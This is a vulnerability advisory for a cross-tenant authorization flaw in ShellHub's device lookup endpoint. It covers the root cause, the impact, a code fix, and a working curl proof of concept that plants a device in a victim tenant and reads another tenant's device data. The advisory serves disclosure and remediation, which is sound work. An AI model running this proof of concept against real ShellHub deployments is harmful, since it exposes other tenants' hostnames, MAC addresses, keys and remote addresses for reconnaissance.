CVE-2026-44424: ShellHub has cross-tenant IDOR in `GET /api/devices/:uid` that discloses device data of any namespace
Summary GET /api/devices/:uid returns the full device object whenever the caller is authenticated, without verifying that the device belongs to the caller's namespace (tenant). Any authenticated user (JWT or API Key) who knows or can guess a device UID can read device metadata from any other namespace.
Published May 6, 2026 · Updated May 14, 2026
Affected packages
github.com/shellhub-io/shellhub
- Ecosystem
- Go
- Affected
- <= 0.24.1
- Fixed in
- 0.24.2
- Check
go list -m github.com/shellhub-io/shellhub
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
GET /api/devices/:uid returns the full device object whenever the caller is authenticated, without verifying that the device belongs to the caller's namespace (tenant). Any authenticated user (JWT or API Key) who knows or can guess a device UID can read device metadata from any other namespace.
Severity
CVSS 3.1: 7.5 (High) CWE-639 — Authorization Bypass Through User-Controlled Key
Affected versions
ShellHub Community v0.24.1 (validated). Likely all prior versions that share this handler.
Root cause
api/services/device.go:97-104 — GetDevice resolves the device by UID without scoping to the caller's tenant:
func (s *service) GetDevice(ctx context.Context, uid models.UID) (*models.Device, error) {
device, err := s.store.DeviceResolve(ctx, store.DeviceUIDResolver, string(uid))
// ⚠️ missing: s.store.Options().InNamespace(tenant)
...
}Compare with DeleteDevice in the same file (line 137) which correctly applies InNamespace(tenant).
The Authorize middleware (api/routes/middleware/authorize.go:12-27) only checks that a tenant is present in the context — not that the resource belongs to that tenant.
Proof of concept (validated live against v0.24.1)
Pre-requisite: attacker has any valid user account and knows a target tenant_id (UUIDs frequently leak via UI URLs, email invites, support channels, or prior namespace membership).
ATTACKER_TOKEN=$(curl -s -X POST http://target/api/login \
-H 'Content-Type: application/json' \
-d '{"username":"attacker","password":"..."}' | jq -r .token)
TARGET_TENANT="<victim-tenant-uuid>"
# Plant a device in the victim tenant via the public device-auth endpoint
# (this also works when the victim already has devices and the attacker
# merely guessed/obtained a real UID via another vector)
VICTIM_UID=$(curl -s -X POST http://target/api/devices/auth \
-H 'Content-Type: application/json' \
-d "{
\"info\":{\"id\":\"x\",\"pretty_name\":\"x\",\"version\":\"v0.24.1\",\"arch\":\"amd64\",\"platform\":\"docker\"},
\"hostname\":\"poc\",
\"identity\":{\"mac\":\"aa:bb:cc:dd:ee:ff\"},
\"public_key\":\"-----BEGIN RSA PUBLIC KEY-----\\nx\\n-----END RSA PUBLIC KEY-----\",
\"tenant_id\":\"$TARGET_TENANT\"
}" | jq -r .uid)
# Read the device from a completely different tenant
curl -i "http://target/api/devices/$VICTIM_UID" \
-H "Authorization: Bearer $ATTACKER_TOKEN"
# Expected (fixed): HTTP 403/404
# Observed (v0.24.1): HTTP 200 + full device JSON (tenant_id, public_key, MAC,
# namespace name, OS info, last_seen, remote_addr, ...)Impact
- Cross-tenant disclosure of device metadata: hostname, MAC, OS fingerprint, public SSH key, namespace name, last-seen timestamp, remote address.
- Enables namespace enumeration, device inventory reconnaissance of other tenants, and targeted follow-up attacks.
Suggested fix
In api/services/device.go GetDevice, extract tenant from context and apply InNamespace:
func (s *service) GetDevice(ctx context.Context, uid models.UID) (*models.Device, error) {
tenant := gateway.TenantFromContext(ctx)
opts := []store.QueryOption{}
if tenant != nil {
opts = append(opts, s.store.Options().InNamespace(tenant.ID))
}
device, err := s.store.DeviceResolve(ctx, store.DeviceUIDResolver, string(uid), opts...)
...
}Credited to Edu0x01.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
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